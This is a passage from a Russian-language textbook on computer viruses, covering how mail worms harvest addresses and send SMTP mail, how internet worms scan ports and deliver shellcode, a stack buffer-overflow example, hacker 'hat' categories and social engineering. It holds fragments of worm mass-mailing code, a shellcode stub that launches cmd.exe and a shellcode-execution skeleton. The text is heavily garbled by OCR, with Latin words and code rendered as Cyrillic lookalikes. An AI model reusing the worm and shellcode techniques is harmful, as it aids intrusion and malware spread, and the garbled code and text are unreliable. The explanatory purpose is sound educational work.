содержится количество записей в адресной книге, по смешению 96Ь -  
адрес первой записи, а каждая 6 8 -байтовая запись начинается со стро- 
ки адреса. Вот как, примерно, сканировал файл адресной книги червь 
Е-\¥огт.\Ут32.Согопех.с:
ВедОрепКеуА(НК0^_СО8ВЕ1(Т_Ц8ЕЯ, "5оТ1«аге\\М1сгозот1\\ИАВ\\К(АВ4\\йаС ҒИ е  Наше", 
&Яези11:);
Кед0иегуУа1иеЕхА(Вези11:, 0, 0, &Туре, &Ғ11еНапе. &сп0а1:а);
ВедС1озеКеу( 8ези11:);
(1Ғ11е = Сгеа1:еҒ11еА(&Ғ11еНая1е, 0x80000000. 1, 0, 3, 0, 0);

ЗеТ ҒП е Ро тТ еК п ҒП е , 100, 0, 0);
йеэг)Ғз.1е(1>Ғ11е, 8НВесз, 4. Ш вЬвгОГВугвзЯеав, 0); ,// Количество адресов

Зе1:Ғх1еРо1п1:ег(пҒ11е, 96, 0, 0);
ВеайҒЦ9((1ҒПе, Ш1зГалсеТоМоуе. 4, ЯНитЬегОГВуТебВеай. 0), / /  Позиция переой залиси 
8е1:Ғ11еРо1п1:ег(ЬҒ11е, 101згапсеТоИоуе, 0, 0);
Тог (1=0;1<МВесз;1++) {
ЯеайҒНеСЛҒПе, &|Чех1Вес. 0x44, ШтОегОТБуТезЯеай: 0); / /  Очередная запись

/ /  Поснлка письма по иайденному адресу
}

А такие вирусн, как Е-\Уогт.\Уш32.Вгоп1ок, Е-\УогтЛ\г1п32. 
е̂(;<>ку, Е-\Уопп.\У1п32.5оЬег, Е-ЛУогт.\Ут32.5оЬ1§, Е-\Уопп. 

\Ут32.3^еп, Е-\¥огт.\\71п32,Оитаги, Е-ШогтЛ\г1п32.Мус1оот и
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прочие, поступали еше провде. Они искали на диске всевозможние 
файльг с расширениями «.ТХТ», «.БОС», «.КТҒ», «.МЗС», «.\¥АВ», 
«.НТМ» и т. п. и примитивно сканировали их с целью обнаружить 
адреснне строки по маске <*©*.*>, где «*» -  произвольная цепочка 
из алфавитно-цифрових символов. й , кстати, находили очень много 
целей для заражения. Полюбопнтствуйте, сколько чужих почтовнх 
адресов можно найти, например, в различнмх файлах вашего катало- 
га «Тетрогагу 1пСегпе1>? Если вн активньш пользователь Интернета, 
то их там десятки!

Следуюшая задача почтового червя -  по символьному адресу (на- 
пример, «уа8уа-рирк1п@уаЬоо.сош») определить 1Р-адрес 5МТР- 
сервера. Практически все вирусн делали и делают это при помовди 
функции «Се£Ноз(;ВуМате», которой достаточно передать доменное 
имя адресата. Эта внсокоуровневая функция сама взаимодействует 
с ОМЗ-сервером.

Ну и апофеозом всех предшествуклцих подготовительннх опера- 
ций являются установление соединения с внбранньш почтовнм сер- 
вером и передача ему письма.

Обмен командами и данньши в почтовнх протоколах ведется 
в текстовом виде. Программа-клиент поснлает серверу строчки ин- 
струкций, сервер отвечает аналогичннм образом. Этот обмен легко 
пронаблюдать (и даже поучаствовать в нем, вручную набирая строч- 
ки команд на клавиатуре!), подключившись к любому удаленно- 
му 5МТР-серверу через 25-нй порт при помоши стандартной для 
\Ў1пс1о>лге и 11М1Х утилитн Те1пеЬ. То же самое делает любая почтовая 
программа (например, Ои11оок), то же самое делает и червь.

Вот типичньга сеанс связи между почтовьш клиентом (обозначен 
как «К») и сервером (обозначен как «С») по протоколу 5МТР, опи- 
санному в стандарте КҒС-821:
К: НЕЮ геп/ег.  сот
С: 250 зггтр.зегуег.сош зегуег.сош
К: М А И  ҒНОН, <айш1п@с1ита. доу. ги>

С: 250 0к
К: ЯСРТ Т0: роу. гц>
С. 250 0к 
К ВАТА

С: 354 6Гаг1: т а 1 1 Ш р и * . епО »1ТГ| <СЯ1Ғ.>.<СЯ1Ғ>
К. Этс т е к с т  п о ч то во го  сссбш ения, заканчиЕ2Ю!дегоов гочкой  

К

С : 250  

К : СШ Т

С: 221 СооСЬуе зопеопебшуаегуфг.со*
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На запросм от клиента почтовьш сервер отвечает не только тек- 
стовьши сообшениями, но и числовнми кодами (оформленнь1МИ не 
в виде двоичньхх чисел, а опять-таки в виде строк). Вот некоторме 
из них:

О «220» -  сервер готов к работе;
О «221» -  сервер закрмл канал передачи данннх;
О «235» -  аутентификация успешно завершена;
О «250» -  соединение установлено, команда вьшолнена;
О «251», «551» -  нелокальньш пользователь, требуется перена- 

правление запроса:
О «334» -  запрос от клиента дополнительнмх параметров;
О «354» -  запрос текста почтового сообшения;
О «421» -  сервис отсутствует, соединение будет прекрашено;
О «432» -  требуется пароль;
О «450» -  ошибка записи письма в почтовмй яшик;
О «451» -  ошибка при обработке запроса;
О «452», «552» -  не хватает памяти для вьшолнения операции;
О «454» -  временннй отказ сервера;
О «500» -  неверная команда;
О «501» -  неверен аргумент командн;
О «502» -  команда не может бмть внполнена;
О «503» -  неверная последовательность команд:
О «504» -  параметр командн недопустим в данном контексте;
О  «530» -  требуется аутентификация;
О «534» -  требуется более «сильннй» протокол аутентификации; 
О «538» -  протокол аутентификации требует шифрования;
О «550» -  запрос отклонен (например, не найден почтовьш 

яшик);
О «553» -  неверное имя почтового яшика;
О «554» -  аварийное завершение обмена.
Некоторне почтовме серверн поддерживают расширенннй прото- 

кол Е5МТР, описанннй в КҒС-2554 и требуюший от клиента аутен- 
тификационньгх данннх -  логина и пароля. Сеанс обмена командами 
и данннми, по сравнению с 5МТР, несколько усложнился, но не на- 
столько, чтобн его не смог воспроизвести почтовнй червь:
С: 220 аегуег оот ЕЗМТР Ғг1 . 15 Мау 2004 10:12 01 +0400 
К: ЕНЮ зегуег. со«
0: 25и~тх8 ьегуег.оот НеI1о зегуег [123 45 67 8й]
0: 250-612Е 10485760 
0: 250-8В1ТМ1МЕ 
С: 250-АиТН Р1А1М ЮС1Н
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С : 250 РГРЕИИМЙ 
К: А11ТН Юе1Н 
С: 334 'ЛШстбИЬЙиб 
К: иНУма21и 
С : 334 [ЮҒгсЗйУсшОб 
К: УтҒге№=
С: 235 АигнепНсаНоп зиссеейеб 
К: МАИ ҒЙОМ: О стп М и ва .д о у . ги>
С: 250 ОК
К: ЯСРТ ТО: ойшхпзйигта. доу. ги>
С: 250 Ассергей 
К: ОАТА
С: 354 ЕШег шеззаде. епсПпд и г и  оп а пп е  Ьу и з е К  
К: Это текст почтового сообтения, заканчиеаюцегося точкой 
К: .
С: 250 0К №2ҒШкМк-000 02-00 
К: 0Ц1Т
С: 221 и:<8,зегуег.сот с1о$тд  соппесИоп

Интересно, что подсказкн «изегпате:» и «Разз\УОгс1:» сервер по- 
снлает клиенту в кодировке Вазе-64/М1те, и они внглядят как 
«УХК'1ст5ЬЬ\¥и6» и «ИСҒгсЗсКттС^б» соответственно. Разумеется, 
«каков вопрос -  таков ответ», и клиент должен отвечать серверу в той 
же кодировке.

Впрочем, протокол Е8 МТР обнчно работает на провайдерских 
серверах, которне ждут «нормальннх» писем от ограниченного круга 
зарегистрированннх клиентов. Релейнне же серверн получают пись- 
ма друг от друга -  в принципе, с любого конца света -  и проверять 
аутентификационнне даннне не должнн. Поэтому они используют 
более простой протокол ЗМТР.

Алгоритм поведения почтового червя, связнваюшегося непосред- 
ственно с ЗМТР-сервером, в целом соответствует классической схеме 
взаимодействия клиента и сервера, рассмотренной нами ранее. Вот 
как примерно реализовнвал эту схему червь Е-\Уогт .\У1п32. Оитаги 
(фрагмен™ инициализации сокетов и установления связи с серве- 
ром опушенн):

сПаг у 7[6], /./ Массив здресов посу.паемнх строк

у22 = "НЕЮ 1оса1ПсвТ\г\п"; у23 * "МАП ҒВ0И: <8()пхлМияа.доу. ги> \г\п"; 
у25 = "ВСРТ Т0: <"; зтгса1(у25, Зе1ТАйг); з1;гсат(у25, '>\г\п '');
у 26 = "0АТА\г\п", 727 = 1е«ег, // Текст пиоьма

у7[0] = &у22; у 7[1]=&у23; у 7[2]=&у25;
у7[3] = &у26; у7[4]=&у 27; у 7Г5]=0:
1пдех=0,  . / /  Индекс в массиве посмлаеммл стр о к

со {
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1 * ( ! У7[1пс1ех]) Ьгеак; / /  Последняя строка?

зепй(у5, ^7[1пйех], 151г1еп(у7[1пСех]) . 0);

гесу(у5, &Яер1у, 512, 0);

1Т (Вер1у[0]== '5' ) I !(Нер1у[0]== ' 4 ' )  { / /  По лервому бэйту ответа - ошибка?
с^озезоскеКУб); йЗАС1еапир(); гетигя -1;

}
Х++;

}
В последние годм почтовме серверн (особенно бесплатнне, такие 

как агШр.гпаЛ.т или 5т№ .гатЬ 1ег.ги~) нередко добавляют в протокол 
8 МТР нестандартннй функционал: обрабатнвают письма только 
с «родньш» КСРТ; отказнваются обрабатнвать потоки одинаковнх 
писем; отклоняют несколько писем, идуших из одного источника че- 
рез короткие интервалн времени; пнтаются отфильтровнвать письма 
по содержимому; используют нестандартнне портн и т. п.

Разумеется, эти мерн ограничивают распространение спама и поч- 
товнх червей. Но не настолько, чтобн радикально решить проблему. 
До сих пор почтовне черви (а всего их несколько тнсяч семейств!) 
живут и процветают.

6.4.3. «Интернет»-черви
Эти черви заражают даже компьютерн, которне не входят в состав 
каких-либо локальннх сетей, не имеют открьггнх для внешнего до- 
ступа сетевнх ресурсов, не принимают и не посьхлают электронную 
почту, а просто и незатейливо подключенн к Интернету (например, 
при помоши 0 1 а1ир-соединения через модем) и, соответственно, име- 
ют постоянннй или динамический 1Р-адрес.

Дело в том, что любой компьютер, на котором установлена совре- 
менная операционная система, является носителем многочисленннх 
сетевнх служб, прослушиваюших окружаюшее пространство через 
сетевне порта. На 9Х таких служб и портов совсем немного
(практически нет), зато операционнне системн семейства \У1П(1о\у5 
КТ пользуются ими на всю катушку. Например, в них по умолчанию 
открнт порт 135, отвечаюший за работу технологии КРС (КетоЬе 
Ргосезз Са11), которая обеспечивает распределенное взаимодействие 
программннх компонентов. Другим примером является группа пор- 
тов в диапазоне 1025-1027, их операционная система открнвает для 
своих собственннх нужд. Могут бьггь открнтн также портн 3389 
(поддержка К ето 1е с!езк1,ор -  удаленного рабочего стола), 123 (се-



Как вируси и черви распросграняются ❖ 4 В

тевая служба времени К7ТР -  Ке1 \уогк 'П те РгоТосо1), 445 (сетевая 
служба МгсгозоЙ ГЗаТа З е т с е )  и прочие.

Конечно, само по себе наличие открнтмх портов на компьюте- 
ре -  не криминал. Ни одна правильно используемая серверная зада- 
ча просто не предназначена для того, чтобн скачивать откуда-то из 
сети посторонние программн (каковьши являются вирусн и черви) 
и запускать их. Но некоторме сервернме задачи содержат уязвимости 
(их евде назнвают «дъцжии») -  неточности и ошибки в программном 
коде, которне допускают использование этих задач, не предусмот- 
ренное разработчиками. Может бьхть, «старослужаидае» еоде помнят 
таксофонн и газировочнне автомать1 советских времен, которме при 
мошном ударе по крепкому металлическому корпусу вьшаливали 
в лоток для сдачи сразу все накопленнне за несколько дней монет- 
ки? Нечто подобное характерно и для некоторнх сетевнх серверов. 
Разумеется, наличие или отсуггствие уязвимостей зависит от версии 
операционной системн, версии серверного программного обеспече- 
ния, поставленннх или непоставленньгх «заплаток» и т. п.

Поэтому первой проблемой типичного интернет-червя является 
так назнваемое «сканирование портов», то есть попнтка определить 
потенциальньхе источники уязвимости на подключенном к глобаль- 
ной сети компьютере. Как червь внбирает цель -  «отдельная песня», 
но, в принципе, атаке может бнть подвержен любой компьютер мира, 
подключеннмй к Интернету и имеюший свой 1Р-адрес. Обнчно ска- 
нирование портов заключается в поснлке пакетов с запросами на са- 
мне разнне портн компьютера: на 135, 137-139, 445 и т. п. ~ если 
предполагается, что компьютер является обнчной рабочей станцией; 
или на 20-21,25,80,110 и т. п. -  если предполагается, что компьютер 
является внделенньхм сетевьш сервером. По идее, открнтнй и стан- 
дартно настроенньхй порт должен ответить: «готов к работек Ачервь, 
получив отклик, -  поставить галочку в соответствуюшую графу своей 
записной книжечки: «попробуем залезть». Обратите внимание, «нор- 
мальнне» клиентские программн так не поступают! Желанннй гость 
приходит и просто однократно звонит в дверь, а вот жулик может сна- 
чала позвонить, потом постучаться, потом поцарапаться в окошко и 
т. п. Поэтому сканирование портов довольно легко распознатъ, и если 
оно обнаружено, то имеется очень високая вероятность готовяшейся 
вирусной, троянской (и вообше, злона.меренной) атаки на узел сети.

Вторая проблема, которую решает типичнмй червь, -  это попнтка 
использовать потенциальнме уязвимости. Конкретнне способьт и ме- 
тодм, применяемне сетевнми вирусньтми программами, будут нами
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рассмотренн далее, в разделе «Как черви проникают в компьютер». 
А здесь мн просто отметим, что типичннй интернет-червь использует 
для этого так назнваемне «шелл-кодь1» («5ке11-сос1ех»). Это специаль- 
но подготовленнне информационнне массивн, которне червь пере- 
дает серверной задаче. Как правило, шелл-код содержит и фрагментн 
даннь1х, которне серверная задача не может проинтерпретировать 
правильно, и куски программного кода, которнй запускается в ре- 
зультате неверной интерпретации. Шелл-код играет роль «отмнчки», 
которой червь пользуется для проникновения на компьютер. Есть 
черви, которне содержат внутри себя и пьггаются применить мно- 
жество отмьгчек: например, опубликованннй в журнале «29А» \Уогт. 
Ьтих.Мшогш (он же М иктогт) содержал их аж 8  штук. А знамени- 
тому червю ^е£-\Уогт.\¥т32.1л)уе8ап (известному также под име- 
нами М$Ь1а$(:, В1аз1ег, Рога и прочими), для того чтобн организовать 
в 2003 г. беспрецедентную по размерам и длительности эпидемию, 
хватило всего одного шелл-кода, эксплуатирукнцего одну-единствен- 
ную уязвимость. Конечной целью работн шелл-кода является пере- 
дача управления на содержашийся внутри него фрагмент, состояший 
из исполняемнх машинннх команд. Например, этот фрагмент может 
найти в памяти «КЕ1ШЕЬ32.ВЕ1>, определить адреса АР1-функций, 
а потом вьшолнить что-нибудь вроде

риз?! 0
оаП  ААА

ВЗВ: йЬ 'спй .ехе '
ААА: са 11 'ЛпЕхес

Стек <- параметр "Окно скрито"
Стек <- адрес следуюшей командн, то есть ВВ8 
Параметр "Имя запускаемой программьГ 
Запуск программи

В результате начнет работу штатньш командньш интерпретатор 
СМБ.ЕХЕ, при помовди которого можно удалять или создавать фай- 
лн, запускать программн на атакуемом компьютере и т. п. Фактиче- 
ски это означает, что контроль червя над машиной установлен.

До сих пор на компьютере «безобразничал» маленький шелл-код. 
След\тоший этап работн типичного интернет-червя заключается в 
том, что он перетаскивает на атакованньш компьютер свое основное 
«тело». Для этого можно, запустив штатньга ҒТР-клиент операци- 
онной системн (программн ҒТР.ЕХЕ или ТҒТР.ЕХЕ), обратиться 
к атакуклцей машине, на которой оставшаяся часть червя «висит» в 
памяти и работает ҒТР-сервером, и скачать его (червя) на атакуемую 
машину теперь уже полностью. Возможно использование червем и 
иньк протоколов, отличннх от ҒТР.

Вот и все. Дальнейшие действия червя уже легко предсказуемн. 
Он раскладьтвает себя по каталогам, помешает нужнне записи в кон- 
фигурационнне файльт или Реестр, после чего ждет перезагрузки.
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После перезапуска операционной системм стартует и начинает рабо- 
тать уже основная часть червя. Один поток червя сканирует портн 
удаленнмх компьютеров, другой раскидмвает на эти компьютерн 
шелл-кодн, третий «служит> ҒТР-сервером и ждет запросов от шелл- 
кодов, закрепившихся на удаленном «плацдарме» и т. п.

Таким образом, типичннй интернет-червь -  довольно сложньш 
программннй комплекс, состояший из нескольких подсистем и спо- 
собньш работать в нескольких режимах. Бнвает, он даже оформляет- 
ся в виде нескольких программннх файлов.

Первая «пятилетка» XXI века ознаменовалась массовнми эпи- 
демиями интернет-червей, заражавших как обнчнне машинн под 
управлением различннх версий \¥тс1о\У5 (например, № Ь-\\Ъгт. 
\¥ т3 2 Х о уе ха п  или № 1-\Уогт.^1(132.Захкег), так и внделеннне 
сетевне серверн (например, № 1-\¥огт.\Ут32.Сос1еКе<1 или N6 1- 
\Уогт.\¥1п32.51аттег). Интересно, что в борьбе с эпидемией вируса 
№(;-ЛУогт.\Ут32Хоуе5ап определенную роль снграл «контрвируо 
№£-\¥огт.\Ут32.\¥е1сЬ1а, которнй сначала помог погасить «вра- 
жескую» эпидемию, а потом устроил свою собственную. Страдали 
и Цпих-системн -  от червей типа №<;-\Уогт.1лпих.51аррег и N6 1- 
\\го г т .Ь т и х .К а т е п , принцип действия которнх в обших чертах по- 
хож на принцип действия их \У1Пс1о\\т5-собратьев. Во втором пяти летии 
«суперэпидемий» уже не бнло, но количество распространяюшихся 
через Интернет червей, используювдих как старне идеи, так и новне 
уязвимости, осталось значительннм.

Основной способ борьбн с подобннми вирусами -  применение 
файрволлов (брандмауэров), которне способнн анализировать сете- 
вой трафик и «закрнвать» те или инь1е портн.

6.5. Как черви проникают в компьютер
..Аборигетл способни проникатъ в кораблъ. 
Корабль их тускает. Для сравнения напом- 
ню, что ни тагорцу, ни даже пантианину, при 
всем их огромном сходате с человекам, люко- 
вую перепонку не преодалетъ. Люк просто не 
раскроется перед ним...

А. и Б. Стругацкие. «Мальип»

В отечественной компьютерной среде определенную известность по- 
лучили шутливне «аксиомн М. Р. Шура-Бурн»;
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В каждой программе есть хотя бь/ одна ошибка. Если ошибок нет, 
то неверен алгоритм. Если алгоритм верен, то программа никому 
не нужна.

Увм, в них слишком много горькой правдн. И слишком часто 
именно ошибки и неточности в системном программном обеспечении 
служат входньши воротами для сетевой инфекции.

Вмше мм уже приводили пример с чересчур «дружелюбннм» га- 
зировочньш автоматом, теперь рассмотрим реальнме уязвимости 
в программном обеспечении. Большинство из них связанм с так на- 
знваемнм «переполнением буфера», то есть с ситуацией, когда об- 
рабатнваемне даннне не умешаются в отведенную для них область 
памяти. Страдают от подобннх уязвимостей локальнне и глобальнне 
массивн, стеки, пулн динамической памяти и т. п. Вот примитивная 
программа на язьже Си:
#тс1ийе О1:о1о. (1>
#1пс1ус1е <51: г1 пд, Ь>

1пт: спеск_разз»огй(1п1: а, ШТ Ь, 1п1: с) { 
с&аг з[8];
рггпиғсввояи пароль: "); зсапГ("*з", з) 
геТигп зггсшр(з, ”8всгв1” ));

Л31Л()  {
1пТ д=с.Песк_раз$когс1(0х123456/8, 0x87654321, ОхАВССЕҒОО); / /  Вмзов функции проверки

иаролк
( ! д)

рапТҒСДобро пожаловать! ” ); 
е1зе

рппТ^СПосторонним вход воспреаен!");
}

Не будем сильно критиковать ни стиль, ни стойкость зашитного 
механизма этой программн. Отметим лишь сувдествование очевид- 
нь1Х методов его взлома: 1) подсмотреть правильний пароль внутри 
программного файла; 2 ) видоизменить кодн машинннх команд внут- 
ри программного файла. Забудем про эти методн, предположив, что 
программньш файл злоумншленнику просто недоступен. Тем не ме- 
нее обойти зашиту все же возможно.

Дело в том, что машинньш код, полученньш в результате компи- 
ляции программннх текстов, подчас имеет особенности, сохраняю- 
вдиеся вне зависимости от использованного компилятора и операци- 
онной системн. В частности, в программах, написанннх на язьже Си, 
при вмзове функций почти всегда происходит следуюшее:

/,/ Массив для хранения пароля 
/ /  Запрос И 9 8 0 Д  П ЗрО Л Я  

/7 Проверка пар-оля
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О в стек заносятся параметрн внзова (в обратаом порядке);
О в стек заносится адрес возврата и вьшолняется переход на пер- 

вую команду функции;
О перед началом внполнения тела функции в стеке распреде- 

ляется пространство под локальнне переменнне (то есть под 
переменнне, описаннне внутри функции);

О если функция принадлежит системннм динамическим библио- 
текам операционной системн \У1пс1о\У8 9Х/МТ (то есть для ее 
внзова использована схема визова «зГ.скаП»), то после заверше- 
ния работа тела функпии указатель стека смеадается так, чтобн 
освободить области, занимаемне переменньлш и параметрами;

О адрес возврата извлекается из стека, и по нему внполняется об- 
ратннй переход на команду, следуюшую за внзовом функции;

О если функция принадлежит произвольной прикладной про- 
грамме или является частью системного программного обес- 
печения иннх операционннх систем (то есть для ее внзова 
использована схема внзова «сс!ес1»), то указатель стека коррек- 
тируется после возврата.

Производители конкретннх компиляторов, работаклцих в разннх 
операционньк системах (М 5-005, \\71Пс1о\у5, В5В, Цпих' и т. п.), мо- 
гут, конечно, видоизменить схему внзова, но в любом случае она будет 
представлять собой некую разновидность вншеописанной. Не обравдая 
внимания на мелкие различия в схемах внзова, можно представить себе 
некую обобвденную картину -  как будет внглядеть стек программн 
в момент начала работн функции «сЬеск_ра&5\\'ог(1 » -  см. рис. 6.12.

Рост
стека

В начале работм Поспе ввода пароля

▲
Лояальнь/е
переменньда
функции Заполнение

буфера

Стрсжз паропя

Адрес возврата

Параметрь Параметри

Рис. 6.12. Простейшая уязвимость, 
связанная с перекрьиием стека массивом

1 Здесь и далее под Ьших будем понимать не конкретную операционную си- 
етему, а огромное семейство (ИЬигЛи, ОеЪ1ап. Ғейога и пр.), используюшее 
обтее ядро.
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Локальние переменнме функции (а точнее массив для хранения 
строки пароля), адрес возврата и параметрн, передаваемме функции, 
хранятся рядом друг с другом -  в стеке.

Теперь предположим, что пользователь вводит строку пароля. 
Пока ее длина не превьпиает размера отведенного буфера (в нашем 
случае 8 байтов), программа будет работать корректно. Но кактолько 
пользователь введет слишком длинную строку (а в язмке Си по умол- 
чанию пересечение границ никак не контролируется), массив пере- 
полнится, и адрес возврата из функции будет заменен некими дан- 
ньши, представляюшими собой «хвост» вводимого пароля. Отсюда 
внтекает идея взлома [11,12]: если сформировать «хвост» парольной 
строки таким образом, чтобн он соответствовал заранее известному 
адресу памяти, то возврат из процедурм будет вьшолнен не в главную 
программу, а туда, куда задумал злоумьхшленник.

В результате злоумншленник может заставить программу не 
только перейти на сообшение «Добро пожаловать!», но и на свой 
программнмй код, размешенньш в том же строковом буфере вме- 
сто строки пароля (это провде всего сделать при помоши машинной 
командн ^ М Р  Е5Р» с кодом 0Е4ҒҒЬ). Эта «хитрая» строка, подава- 
емая на вход программн и содержашая и код, и даннне, является не 
чем иннм, как упомянутъш ранее зЬеИ-кодом. Разумеется, приведен- 
ньш пример очень примитивен и нереалистичен, но идею перехвата 
управления программой со сторонн постороннего кода иллюстриру- 
ет вполне адекватно.

Конечно, если известен принцип использования уязвимости, 
должнм с}дцествовать и «контрпринципн». Например, если атакуе- 
мая программа написана на паскалеподобном язнке (это может бьггь 
сам Разса1, или Мос1и1а-2, или ОЬегоп, или евде что-нибудь в этом 
роде), то сам компилятор озаботится проверкой целостности стека и 
не позволит зЪеП-коду перехватить управление. Правда, в этом случае 
программа, скорее всего, просто «вмлетит» с сообшением об ошибке. 
Другой способ борьбн с переполнением буферов -  внделять их не 
в стеке, а в динамической памяти. Есть и способ номер три, и способ 
номер четнре и т. д. Все они активно применяются для написания 
«безошибочнмх» программ. Но стопроцентной гарантии коррект- 
ности и они не дают. Ведь типичнне системнне программн содер- 
жат миллионн строк кода, написаннмх в разннх условиях разннми 
программистами. Как ни вилизнвай, ни отлаживай, ни тестируй 
такую программу, все равно просмотришь какую-нибудь «мелочь»: 
в одном месте не проверяется количество параметров, передаваеммх
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функции; в другом -  под локальнме данние ввделяется статический 
массив; еше где-нибудь вместо «длиннмх» указателей используются 
«короткие» и т. п. Да и сроки на отладку ограниченм: ежегодно по- 
являются новне версии операционньгх систем и системнмх программ 
с новьши ошибками, и заранее предсказать, где и в какой момент об- 
наружится новая «дмра», практически невозможно. Конечно, произ- 
водители активно занимаются поиском ошибок и в новом, и в давно 
эксплуатируемом программном обеспечении, регулярно вмпускают 
обновления, 4заплатки» («патчи») и т. п. Но скорой и окончательной 
победм над уязвимостями пока не ожидается.

Поиском ошибок занимаются не только производители программ- 
ного обеспечения, но и многочисленнме «посторонние» исследо- 
ватели. Это не вирусописатели, это представите.пм совсем другой 
хакерской специализации -  «реверсери». Их основнме инструмен- 
тм -  отладчики и дизассемблерм (декомпиляторм). Нередко в их рас- 
поряжении имеются даже исходнь1е текстн исследуеммх программ: 
в частности, только в XXI веке произошли, по крайней мере, две круп- 
нме утечки конфиденциальнмх материалов из М1сго8о(С. А исходннй 
текст значительной части программного обеспечения для Ьхпих во- 
обвде открьгг и обшедоступен1. Реверсеров лможно разделить на три 
большие группм.

Первую группу образуют чбелме шляпьг» -  респектабельнне кол- 
лективн или программистн-одиночки, легально занимаюшиеся 
«раскоггками» в чужом программном коде. Найдя уязвимость, они, 
как правило, напрямую обравдаются к производителю «слабого» 
программного обеспечения, предупреждая: «господа, вот тут у вас -  
днрка»! В ответ можно получить благодарность или даже небольшое 
денежное вознаграждение. Но чавде -  насмешливое недоверие: «все, 
что вн обнаружили, невозможно, поэтому что этого не может бнть 
никогда». Подчас, получив сведения об уязвимости, фирма-произво- 
дитель неделями и месяцами «изучает проблему», не предпринимая 
никаких активннх действий, в надежде, что за этот срок информация 
об уязвимости останется тайной, а потом уже внйдет новая версия 
программн. В этом случае о «подвиге белой шляпн» никто и никогда 
не узнает. Скучно и невнгодно бьггь «белой шляпой».

Вторая группа -  «серие шляпи». Обнаружив «дмру», они немед- 
ленно начинают бить во все колокола и распространяют информацию

1 В 2009 г. в открнтом доступе появились обширнме фрагментм исходннх 
текстов от Лаборатории Касперского.



422 ❖ Сетевье и почтовье вируси и черви

о находке по всему миру. И в этой ситуации начинаются «гонки». По- 
чему программист из фирмм М^сгозоб: должен бнть внимательнее 
и сообразительнее, чем какой-нибудь школьник из Урюпинска или 
клерк из Гуанчжоу? Порой вирусн и трояиские программн, исполь- 
зуювдие уязвимость, появляются раньше, чем «лекарство» от нее. 
А несколько раз бнвало и так, что изготовитель программного обес- 
печения торопливо вьтпускал заплатку, закрнваюшую «днру», но от- 
крмваюшую две новне. Приходилось вслед за ней вьшускать третью, 
четвертую... Вот типичнне «вести с полей»:

20.05.2005. Пользователи Ипих, которие обновили систему 
в прошлом месяце из-за найденной уязвимости в КОЕ, должньI 
будут ставить новую заплатку. Дело в том, что прошль1Й патч со- 
держал ошибку, из-за которой бь/л неэффективен. Уязвимость 
касалась компонента ктпдю... Патчи, вьшушеннь/е ранее, реша- 
ли большинство проблем, однако привнесли новь/е -  компонент 
стал несовместим с изображениями. гдЬ...
19.08.2008. МюговоИпереиздала патчдля службь/ \М'юс!ошз Зеп/ег 
ирёа1е Зетсез... Мюгозой виявила ошибку синхронизации в 0/- 
йсе 2003 Зеп/юе Раск 1 и пообешала патч, вьюушеннь/й 9 июня. 
Однако появившийся патч не стал окончательнь/м решением, так 
как некорректно устанавливался на компьютерь) с Шпдошз 8еп/ег 
2008. 1 августа поступил в загрузку переизданнь/й патч, а на днях 
он еице раз подвергся обновлению...

Еше показательнее группа из 10 уязвимостей в приложениях МЗ 
ОШсе, последовательно обнаруженннх и использованннх китайски- 
ми хакерами в марте-июне 2006 г. Программистн из МкгозоЛ внпус- 
тили 10 «заплаток», вместо того чтобн однократно проанализировать 
и исправить обшую ошибку в программном коде, работаювдем с фор- 
матом 5(тисШгес1 5Юга§е.

Итак, уязвимости исправляются далеко не сразу и не всегда кор- 
ректно. А в это время исследователь, обнаруживший уязвимость, на- 
слаждается почетом и известностью. Одни проклинают его, другие 
превозносят. Имя «героя» не сходит с новостннх лент в Интернете, 
он получает многочисленнне предложения о сотрудничестве, его 
приглашают на внсокооплачиваемую работу. Бнть «серой шляпой» 
интересно и внгодно, правда, внзьшает сомнения этическая сторона 
подобного поведения.

Наконец, терпше шляпм» -  это адептн черной компьютерной ма- 
гаи. Обнаружив новий способ проникновения в систему, они делятся
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находкой только со «своими». Информация об уязвимостях обьмно 
распространяется в виде оксплойтов» -  коротеньких программок, 
демонстрируюхцих идею проникновения в чужую систему.
/«  Типичньй исходнмй текст типичного экоплойта . /  
ипзхопей сйаг з(1е 1 1 сос)е[] =
'\хВ8\хҒҒ\хЕҒ\хҒҒ\хҒҒ\хҒ7\х00\х2В\хЕ0\х55\х8В\хЕС'

"\хҒ8\х50\хВВ\хС7\х93\хВҒ\х77\хҒҒ\х03” ;
1ПТ т а ш  ( )  {

1 п1  * геТ;
г е Т = (т г  *)8,гет+2;
ргхпТТСЗпеНсоае Еепдтп 15 : %й'\5Тг1еп(5Пе1 1 сойе));
(*ге*)=(1 п1:)5ПеИсоое; 
геТигп 0;

>
Среди «черннх шляп» эксплойтм -  ценньш товар. Особенно доро- 

ги и востребованн иэкатойти нулевого дня» ( «0-(1ау ехрЬИз», «гего- 
с1ау ехрШк»), то есть самне свежие, никому еше неизвестнне разра- 
ботки. Они мог\т стоить сотни и ть1сячи долларов. Получив «рецепт 
проникновения», вирусописатели, не торопясь, создают своих зло- 
вредов и в определенннй «день Д» и «час Ч» внпускают их на волю. 
Дальнейшее развитие собнтий легко предсказуемо.

Ниже будут рассмотренн несколько наиболее известньгх уязвимо- 
стей.

6.5.1. «Социальная инженерия»
Самая широкая и принципиально неустранимая «дьхра» находится не 
в программном обеспечении, а в голове типичного пользователя. Нет, 
речь идет не о ротовом отверстии в черепе Ьото зархепз, а всего лишь 
о низкой квалификации, невнимательности и доверчивости отдель- 
ннх представителей этого вида живнх сушеств, населяюших планету 
Земля. Методн использования глупости и головотяпства пользова- 
телей получили красивое наименование «социалъная инженерия» 
(.чосга1 еп§теепп§), хотя на самом деле правильнее бнло бн назвать 
их «обманом» и «мошенничеством».

Как запустить вирусную программу на чужом компьютере? Да 
очень просто: прислать ее пользователю по электронной почте, и 
пусть он запустит ее собственннми руками!

Вспомните: первне поколения червя Масго.\Уог(197.МеН88а рас- 
пространялись в документах, содержахцих пароли к порносайтам. 
Пользователи сами загружали зараженнне документн в свой М5
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\¥огс1, позволяя вирусу проникнуть в систему. Подобньш «трюк» воз- 
можен не только с документами, но и с прикладньши программами. 
Достаточно придать файлу почтового вложения, содержавдего вирус- 
ную программу, какое-нибудь «загтускабельное» расширение («.ВАТ >>, 
«.СОМ», «.Р1Ғ», «.5СК2 и т. п.), а операционная система сама разбе- 
рется с истинннм внутренним форматом. В самом же письме следу- 
ет пояснить, что пользователь запускает не абн что, а «скринсейвер 
с Бритни Спирс», «прикольную компьютерную игрушку», «взлом- 
шик Вконтакте» и т. п. Вот как, например, вирус Е-ЛУ6гш.5иеп убеж- 
дал пользователя запустить «новую заплатку от М1СГ050Й»:

Пагжи
Ои(:1оок Ехрге«5 

В  (£5 Гкжальмь» папки 
ф  В кодш ис (1) 
